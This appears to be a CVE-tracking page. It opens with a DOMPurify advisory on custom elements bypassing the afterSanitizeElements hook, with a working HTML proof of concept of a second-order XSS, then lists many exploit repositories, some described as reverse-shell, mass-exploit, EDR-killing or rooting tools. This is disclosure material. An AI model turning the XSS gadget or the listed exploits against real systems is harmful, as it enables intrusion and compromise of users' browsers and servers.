## Summary There is a possible hook-policy inconsistency in DOMPurify 3.4.11 involving `CUSTOM_ELEMENT_HANDLING`. When a custom element is allowed via `CUSTOM_ELEMENT_HANDLING.tagNameCheck`, it appears that the element does not go through `afterSanitizeElements` in the same way as a normal element. As a result, an application that relies on `afterSanitizeElements` as a security policy layer to strip sensitive attributes from all elements may see those attributes removed from normal elements but preserved on allowed custom elements. This does not appear to be a direct DOMPurify XSS or a case where DOMPurify directly allows executable payloads. The preserved value is still inert at sanitize time. The issue becomes relevant when the allowed custom element later re-injects that attribute value into an HTML sink such as `innerHTML`, creating a second-order XSS gadget. ## Details The issue appears to originate from the control flow in `src/purify.ts`: line 1672~1691 ```tsx const _sanitizeDisallowedNode = function ( currentNode: any, tagName: string ): boolean { /* Check if we have a custom element to handle */ if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) { if ( CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp && regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName) ) { return false; } if ( CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function && CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName) ) { return false; } } ``` `CUSTOM_ELEMENT_HANDLING` is parsed from user configuration at `src/purify.ts`: line 741~748 ```tsx const customElementHandling = objectHasOwnProperty(cfg, 'CUSTOM_ELEMENT_HANDLING') && cfg.CUSTOM_ELEMENT_HANDLING && typeof cfg.CUSTOM_ELEMENT_HANDLING === 'object' ? clone(cfg.CUSTOM_ELEMENT_HANDLING) : create(null); CUSTOM_ELEMENT_HANDLING = create(null); ``` In particular, `tagNameCheck`, `attributeNameCheck`, and `allowCustomizedBuiltInElements` are copied into the internal `CUSTOM_ELEMENT_HANDLING` object there. During element sanitization, `_sanitizeElements()` checks whether a node is forbidden or not allowlisted at `src/purify.ts`: line 1805~1814 ```tsx /* Remove element if anything forbids its presence */ if ( FORBID_TAGS[tagName] || (!( EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function && EXTRA_ELEMENT_HANDLING.tagCheck(tagName) ) && !ALLOWED_TAGS[tagName]) ) { return _sanitizeDisallowedNode(currentNode, tagName); } ``` If so, it immediately delegates to `_sanitizeDisallowedNode(currentNode, tagName)` and returns its boolean result. Inside `_sanitizeDisallowedNode()`, the custom-element-specific allow path is implemented at `src/purify.ts`: line 1672~1692 ```tsx const _sanitizeDisallowedNode = function ( currentNode: any, tagName: string ): boolean { /* Check if we have a custom element to handle */ if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) { if ( CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp && regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName) ) { return false; } if ( CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function && CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName) ) { return false; } } ``` If the node is treated as a basic custom element and `CUSTOM_ELEMENT_HANDLING.tagNameCheck` matches, the function returns `false` immediately at line 1682 or 1689, meaning “do not remove this node”. That early `return false` is significant because control returns directly to `_sanitizeElements()` via the `return _sanitizeDisallowedNode(...)` at line 1813. As a result, the later logic in `_sanitizeElements()` is skipped for that custom element instance, including: - the namespace validation at `src/purify.ts`: line 1816~1826 ```tsx * Check whether element has a valid namespace. Realm-safe check (GHSA-hpcv-96wg-7vj8): use the cached Node.prototype nodeType getter rather than `instanceof Element`, which is realm- bound and short-circuits to false for any node minted in a different realm — letting a foreign-realm element with a forbidden namespace slip past the namespace check entirely. */ const nt = getNodeType ? getNodeType(currentNode) : currentNode.nodeType; if (nt === NODE_TYPE.element && !_checkValidNamespace(currentNode)) { _forceRemove(currentNode); return true; } ``` - the fallback-tag mXSS check at `src/purify.ts`: line 1828~1837 ```tsx /* Make sure that older browsers don't get fallback-tag mXSS */ if ( (tagName === 'noscript' || tagName === 'noembed' || tagName === 'noframes') && regExpTest(EXPRESSIONS.FALLBACK_TAG_CLOSE, currentNode.innerHTML) ) { _forceRemove(currentNode); return true; } ``` - most importantly for this report, the `afterSanitizeElements` hook dispatch at `src/purify.ts`: line 1850~1851. ```tsx /* Execute a hook if present */ _executeHooks(hooks.afterSanitizeElements, currentNode, null); ``` In other words, a normal allowlisted element continues through `_sanitizeElements()` and reaches `hooks.afterSanitizeElements`, but a disallowed-by-default element that is revived by the `CUSTOM_ELEMENT_HANDLING.tagNameCheck` path does not. This creates a policy inconsistency: an application that relies on `afterSanitizeElements` to remove an attribute from all elements will observe that the policy is applied to normal elements but not to custom elements allowed through `CUSTOM_ELEMENT_HANDLING`. In the PoC, the application hook removes `data-bio` from ordinary elements, but the same attribute remains on `<x-bio>` because the custom-element keep path bypasses `afterSanitizeElements`. The attribute itself is inert at sanitize time and DOMPurify is not directly allowing executable SVG/HTML through. The security impact appears when the application-defined custom element later reads the preserved `data-bio` value in `connectedCallback()` and writes it to `innerHTML`, turning the preserved attribute into a second-order XSS gadget. ## PoC Reproduced on DOMPurify 3.4.11. ### Steps 1. Save the following HTML to a file, for example `poc.html`. 2. Open it in a browser. 3. Observe that the `div` control loses `data-bio`, while the allowed custom element keeps it. 4. Observe that after `connectedCallback()` runs, the candidate payload is reinserted into the DOM and executes through the custom element’s own sink. ### HTML PoC ```html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.11/purify.min.js"></script> </head> <body> <pre id="result"></pre> <script> window.__controlFired = false; window.__candidateFired = false; customElements.define("x-bio", class extends HTMLElement { connectedCallback() { const bio = this.getAttribute("data-bio"); if (bio) this.innerHTML = bio; } }); DOMPurify.addHook("afterSanitizeElements", node => { if (node.hasAttribute && node.hasAttribute("data-bio")) { node.removeAttribute("data-bio"); } }); const config = { CUSTOM_ELEMENT_HANDLING: { tagNameCheck: /^x-/ } }; const controlInput = '<div data-bio="<img src=x onerror=window.__controlFired=true>"></div>'; const candidateInput = '<x-bio data-bio="<img src=x onerror=window.__candidateFired=true>"></x-bio>'; const cleanControl = DOMPurify.sanitize(controlInput, config); const cleanCandidate = DOMPurify.sanitize(candidateInput, config); const container = document.createElement("div"); container.innerHTML = cleanCandidate; document.body.appendChild(container); setTimeout(() => { document.getElementById("result").textContent = "This is not direct DOMPurify XSS.\n" + "The payload becomes executable only after x-bio writes data-bio into innerHTML.\n\n" + "control: " + cleanControl + "\n" + "candidate: " + cleanCandidate + "\n" + "after connectedCallback: " + container.innerHTML + "\n" + "control fired: " + window.__controlFired + "\n" + "candidate fired: " + window.__candidateFired; }, 100); </script> </body> </html> ``` ### Expected result ``` control: <div></div> candidate: <x-bio data-bio="<img src=x onerror=window.__candidateFired=true>"></x-bio> after connectedCallback: <x-bio data-bio="..."><img src="x" onerror="window.__candidateFired=true"></x-bio> control fired: false candidate fired: true ``` This is output of HTML PoC. <img width="1917" height="961" alt="poc" src="https://github.com/user-attachments/assets/80e22989-5779-42f8-8ffb-106e9a4c2b10" /> ## Impact This does not appear to affect DOMPurify’s default configuration as a direct sanitizer bypass. The impact is limited to applications that: - enable `CUSTOM_ELEMENT_HANDLING`, - rely on `afterSanitizeElements` as a security policy layer, - expect that hook to apply uniformly to all surviving elements, - and have allowed custom elements that later re-inject preserved attribute values into `innerHTML` or another HTML sink. In that situation, the behavior can become a second-order XSS gadget because a security-relevant attribute is removed from normal elements but remains on allowed custom elements. Possible fixes or mitigations might include - ensuring that allowed custom elements also consistently pass through `afterSanitizeElements` - documenting clearly that elements preserved via `CUSTOM_ELEMENT_HANDLING` may not participate in the same post-element hook flow as normal allowlisted elements.
PoC: YellowKey-BitLocker-CVE-2026-45585
YellowKey BitLocker recovery - bitlocker yellowkey, yellowkey bitlocker, CVE-2026-45585, yellowkey github, yellowkey vulnerability, yellowkey CVE, TPM, BitLocker recovery key backup, Windows 10/11, CLI GUI, portable audit tool. Download:🡇
PoC: Keycloak_CVE-2026-18963_PoC
This repo is poc of cve-2026-18963. Please use it on legal products (lab, local,...).
PoC: CVE-2026-18963-keycloak
CVE-2026-18963
PoC: pixel-ksu-root
adb-driven KernelSU loader for stock Google Pixel: temporary kernel R/W via CVE-2026-43499 (GhostLock), then late-loads a signature-matched kernelsu.ko for the running KMI. Manager-agnostic.
PoC: PoC-and-yara-rules-of-CVE-2025-59528-Flowise-has-Remote-Code-Execution-vulnerability
poc and yara rules
PoC: CVE-2026-72898
Metabase SQLi
PoC: CVE-2026-19478
GitLab Code injection
PoC: CVE-2026-75604
CVE-2026-75604 (Next.js Windows RCE) PoC - unauthenticated RCE via cache path traversal + forged Server Action; for authorized security testing
PoC: CVE-2026-19632
CVE-2026-19632 - TranslatePress One-Day PoC
PoC: CVE-2026-56705
CVE-2026-56705 - Adminer < 5.4.3 unauthenticated RCE via MSSQL PDO DSN injection (ODBC TraceFile arbitrary file write). PoC, Docker lab and negative test included.
PoC: CVE-2026-75604-poc
CVE-2026-75604 Next.js Windows RCE poc
PoC: CVE-2026-4692-trust-me-im-in-rdm
Firefox BrowsingContext field-sync authz bypass (N-day, bug 2017643): forged PContent::CommitBrowsingContextTransaction sets InRDMPane=true from a compromised content process - parent applies it. Prerequisite primitive for privileged-UI touch-event injection.
PoC: CVE-2022-28906-POC
CVE-2022-28906 Proof of concept in Python3
PoC: CVE-2026-41551
ROS# 路径遍历漏洞(CVE-2026-41551)
PoC: cve-2022-42475-poc
Proof of Concept (PoC) for research and controlled laboratory validation of CVE-2022-42475, a critical heap-based buffer overflow vulnerability affecting the SSL-VPN service in certain versions of FortiOS.
PoC: CVE-2026-15469
CVE-2026-15469 — Hard-coded RSA-512 mesh group private key in TP-Link Deco XE75/XE5300/WE10800 (CWE-321). Advisory, analysis & PoC methodology (EN/KO).
PoC: CVE-2026-32475-PoC
PoC for CVE-2026-32475: Elementor Pro <=4.2.1 unauthenticated file upload to RCE. Stdlib-only Python.
PoC: CVE-2026-12295-UXXS-in-my-wasm
Firefox content->parent srcdoc forge (N-day, bug 2040160): forged PDocumentChannel with SrcdocData on a non-about:srcdoc URI -> attacker HTML served at victim origin (UXSS), via mojo-port send-path injection from a compromised content process
PoC: CVE-2026-66384
CVE-2026-66384 - Draft or TODO
PoC: CVE-2026-33017-PoC-Reverse-Shell
CVE-2026-33017 PoC Reverse Shell
PoC: CVE-2026-33057---Mesop-Unauthenticated-RCE-PoC-and-yara-rules
CVE-2026-33057 - Mesop Unauthenticated RCE PoC and yara rules
PoC: CVE-2026-10036-speechbrain-rce
SpeechBrain < 1.1.1 checkpoint metadata RCE via unsafe PyYAML parsing of CKPT.yaml.
PoC: CVE-2025-55182-poc
I know you are probably here from Hack the Box, if so, yes this one actually works.
PoC: Project-CVE-2026-50751
IKEv1 VPN scanners, attempts a Check Point authentication-bypass exploit, and includes internal network scanning and reverse-shell features.
PoC: CTT-Enhanced-CVE-2026-46339-Exploit-Engine
A specialized Python framework that executes unauthenticated remote code execution via the 9Router Model Context Protocol (MCP) bridge by deploying a 33-layer temporal phase cascade, Riemann-Hadamard dispersion, and an 11 ns wedge filter to bypass traditional proxy and process-monitoring defenses.
PoC: Zimbra-CVE-2026-73570-Rules
Wazuh Rules for Detection Zimbra (CVE-2026-73570).
PoC: CVE-2022-46169
Cacti 1.2.22 unauthenticated command injection
PoC: CVE-2024-23897
Jenkins CVE-2024-23897 — CSRF-crumb aware PoC
PoC: CVE-2025-10952-ml-logger-AFR
PoC for CVE-2025-10952 — ml-logger unauthenticated arbitrary file read. CVSS 5.3
PoC: CVE-2026-65643
CVE-2026-65643 - Draft or TODO
PoC: cve-2023-23397-detection-lab
Detection and mitigation research lab for CVE-2023-23397 using network and endpoint security telemetry.
PoC: fastjson-cve
fastjson-cve-2026-16723
PoC: CVE-2026-23751-poc
Patched RemotingClient to exploit CVE-2026-23751 (Tungsten Automation - Kofax Capture Unauthenticated File Read/Write and SMB coercion via .NET HTTP Remoting)
PoC: CVE-2023-27350-CVE-2023-27351
CVE-2023-27350, CVE-2023-27351 - PaperCut - Draft or TODO
PoC: Project-CVE-2026-33017
CVE-2026-33017 - Langflow Unauthenticated RCE Exploit
PoC: CVE-2026-70463
Testing CVE-2026-70463 by Fyyre
PoC: 2025-Oracle-SSO-LDAP-Attack-Post-Incident-Written-Report
Post-incident report analyzing the Oracle Cloud SSO/LDAP supply chain attack (CVE-2021-35587). Details the exploitation of legacy server infrastructure, impact across 140,000+ cloud tenants, root-cause findings, and phased mitigation strategies.
PoC: CVE-2026-20131-Post-Incident-Written-Report
Post-incident report on CVE-2026-20131 (CVSS 10.0), a Cisco FMC insecure deserialization vulnerability exploited by Interlock ransomware. Details root-cause analysis, lateral movement tactics, and emergency containment strategies.
PoC: ghostlock-pfem10
GhostLock (CVE-2026-43499 / IonStack) research for OPPO Find X5 Pro (PFEM10): exploit chain, progress, blocker log, and OPPO 5-series kernel notes
PoC: htb-labs-connected
Hack The Box Connected machine write-up featuring enumeration, CVE-2025-57819 exploitation, reverse shell, and privilege escalation to root via FreePBX and incron.
PoC: spring-ai-sibling-loop-poc
Minimal reproduction for Spring AI ParagraphManager sibling self-loop OOM (incomplete fix of CVE-2026-47851)
PoC: mssharepoint-scanner
A scanner for CVE-2026-55040 and CVE-2026-63520, designed to determine whether the server is affected by these two CVEs.
PoC: weblogic
Oracle WebLogic Console unauthenticated auth bypass + RCE exploit (CVE-2020-14882 / CVE-2020-14750)
PoC: CVE-2021-27876-veritas-backup
Metasploit module: Veritas Backup Exec Agent SHA-auth NDMP remote code execution (CVE-2021-27876/27877/27878)
PoC: rmg-s9180-fzg1
Root My Galaxy SM-S9180 (dm3q) S9180ZHS8FZG1 payload port - CVE-2026-43499 + KernelSU LKM
PoC: hacktivity-vulns-exploits-lab
Writeup + CVE analysis + countermeasures for the Hacktivity 'Vulnerabilities, Exploits, and Remote Access Payloads' lab (netcat shells, Metasploit, CVE-2010-1240, CVE-2004-2687).
PoC: CVE-2026-55040-Mass-Exploit
CVE-2026-55040
PoC: Project-CVE-2026-75604
A Python-based exploitation framework for CVE-2026-75604 that enables authorized penetration testers to validate Next.js Windows cache traversal vulnerabilities. Deploys reverse shells and webshells via path traversal, with built-in target verification and proxy support for seamless integration into standard pentest workflows.
PoC: CVE-2026-18963
CVE-2026-18963 Keycloak Reset-Credentials State Bypass Detector
PoC: CVE-2015-3246
CVE-2015-3246
PoC: CVE-2015-5287
CVE-2015-5287
PoC: htb-labs-nexus
Hack The Box Nexus machine write-up covering reconnaissance, Gitea credential discovery, Krayin CRM exploitation via CVE-2026-38526, initial access, and privilege escalation through a vulnerable Gitea template synchronization service.
PoC: Cisco-CVE-2026-20303-More
CVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313
PoC: CVE-Ubiquiti
CVE-2026-77542, CVE-2026-77543, CVE-2026-77545, CVE-2026-77550, CVE-2026-77551, CVE-2026-77552, CVE-2026-77553, CVE-2026-77554, CVE-2026-77557 - Draft or TODO
PoC: CVE-2026-18431
CVE-2026-18431 - Draft or TODO
PoC: CVE-2026-8467
CVE-2026-8467 - Draft or TODO
PoC: CVE-2026-50787
Security advisory for CVE-2026-50787: uncontrolled resource consumption in e-SIC Livre CAPTCHA generation leading to remote denial of service.
PoC: solarview-ics-vulnerability-analysis
Threat model and vulnerability analysis of Contec SolarView Compact (CVE-2022-29303)
PoC: CVE-2026-72898-metabase-sqli
Detector + root-cause analysis for CVE-2026-72898 (Metabase unauthenticated SQLi via reset_password)
PoC: By-Poloss..-..CVE-2026-18080
Poc CVE-2026-18080
PoC: CVE-2026-63520
POC pre-auth RCE on Sharepoint chain
PoC: f_hid-4.14-backports
Backports of three published f_hid fixes (incl. CVE-2026-31721, CVE-2026-31606) to an EOL Linux 4.14.190 Android vendor kernel, with on-device verification records.
PoC: chrome-vuln-scanner
Check for CVE-2026-79266. A use-after-free in the DevTools component allows arbitrary code execution inside the sandbox via a malicious Chrome extension leveraging social engineering.
PoC: CVE-2026-19912-CVE-2026-19913-CVE-2026-19914
CVE-2026-19912, CVE-2026-19913, CVE-2026-19914
PoC: CVE-2026-19632-POC
PoC for CVE-2026-19632 - TranslatePress – Multilingual <= 3.3.1 - Unauthenticated Account Takeover via Password Reset Link Disclosure
PoC: ghostlock-infinix-hot70
Proof-of-concept kernel exploit for GhostLock (CVE-2026-43499) on the Infinix Hot 70.
PoC: CVE-2025-2945-pgAdmin-RCE
PoC for CVE-2025-2945 — pgAdmin 4 authenticated eval() injection RCE, CVSS 9.9
PoC: CVE-2026-63072
CVE-2026-63072
PoC: CVE-2026-76904
PostGIS SQL Injection GeoTools
PoC: CVE-2014-085
ZooKeeper 未授权访问漏洞(CVE-2014-085)PoC 及靶场
PoC: hdwebmobile-photo-video-reviews
WooCommerce plugin: photo & video product reviews, closing CVE-2026-12684's unauthenticated-upload vulnerability class by construction
PoC: Exploit-CVE-2026-56705
CVE-2026-56705 — Adminer < 5.4.3 Unauthenticated RCE via MSSQL PDO DSN Injection
PoC: CVE-2026-73570
Zimbra SNMP Notification OS Command Injection — Unauthenticated RCE via SMTP exploit (Poc)
PoC: vivo-root-build
vivo/iQOO 提权 so 编译(CVE-2026-43499)
PoC: CVE-2026-72530-TrueConf-Sandbox-Escape-
Este repositorio contiene una demostración educativa de la mitigación y detección para **CVE-2026-72530**, una vulnerabilidad crítica de **Code Injection y Sandbox Escape** en TrueConf Server.
PoC: CVE-2021-41773-Exploit
CVE-2021-41773 Apache HTTP Server 2.4.49 Path Traversal to RCE Exploit
PoC: cve-2026-60004
CVE-2026-60004 es una vulnerabilidad crítica (CVSS 9.8) en Gitea que permite ejecución remota de código sin autenticación mediante el endpoint `/api/v1/repos/{owner}/{repo}/diffpatch`.
PoC: CVE-2026-68820_Mass_Exploit
CVE-2026-68820 — Mass Exploit Framework Edition.
PoC: CVE-2026-58073-check
Safely detect Veeam Service Provider Console auth bypass CVE-2026-58073
PoC: CVE-2026-18963
Nuclei template to discover Keycloak reset-credentials endpoints related to CVE-2026-18963 exposure validation.
PoC: CVE-2020-1472
CVE-2020-1472
PoC: CVE-2026-32635-Angular-XSS-Mitigation-
Demostracion educativa de mitigacion y deteccion de CVE-2026-32635: XSS en atributos i18n de Angular.
PoC: CVE-2018-16763_fuel_cms_exploit
A fuel CMS exploit based on Python for RCE mentioned in CVE-2018-16763.
PoC: CVE-2026-26211
Public disclosure for CVE-2026-26211, a stored XSS vulnerability affecting Ekushey Project Manager CRM v5.0.
PoC: keycloak-CVE-2026-18963
PoC, Dockerfile playground and root cause from patch diff analysis.
PoC: CVE-2026-17532-lab
CVE-2026-17532 Docker Lab.
PoC: Wildfire
CVE-2026-39154, Stored XSS in CometChat JS SDK
PoC: Trespasser
CVE-2026-74970, Fission site isolation bypass in Firefox WebRender
PoC: Palimpsest
CVE-2026-74945, Uninitialized heap disclosure via a crafted web font (sec-high)
PoC: SkeletonKey
CVE-2026-6765, Test only FormAutofill handlers exposed in Firefox
PoC: Revenant
CVE-2026-74943, Use after free in Firefox RasterImage (sec-high)
PoC: CVE-2026-73570
PoC for CVE-2026-73570 (Zimbra SMTP Command Injection)
PoC: EDRKiller
Use cve-2026-36425 killer edr,360 can killer
PoC: RootMyVivo
One-click root for vivo/iQOO devices on locked bootloader | CVE-2026-43499 + KernelSU
PoC: Exploit-For-CVE-2026-18963
Exploit for CVE-2026-18963 by BlackHatExploitation
PoC: gha-lab-aaaaa1cc3e
GitHub Actions workflow sandbox for CVE-2025-67727 reproduction
PoC: gha-lab-f1c8785cc8
GitHub Actions workflow sandbox for CVE-2025-46820 reproduction
PoC: CVE-2026-16348
TP-Link Archer BE800 V1 — VPN Key Injection RCE
PoC: CVE-2026-77806
CVE-2026-77806漏洞检测代码
PoC: UniBLEed
Unitree G1 RCE PoC & Scripts (CVE-2026-76639 / CVE-2026-76640) technical details at boschko.ca/g1-ble-rce/
Get alerted for CVEs like this
Register your stack and get notified within minutes when a matching CVE drops.
Start monitoring free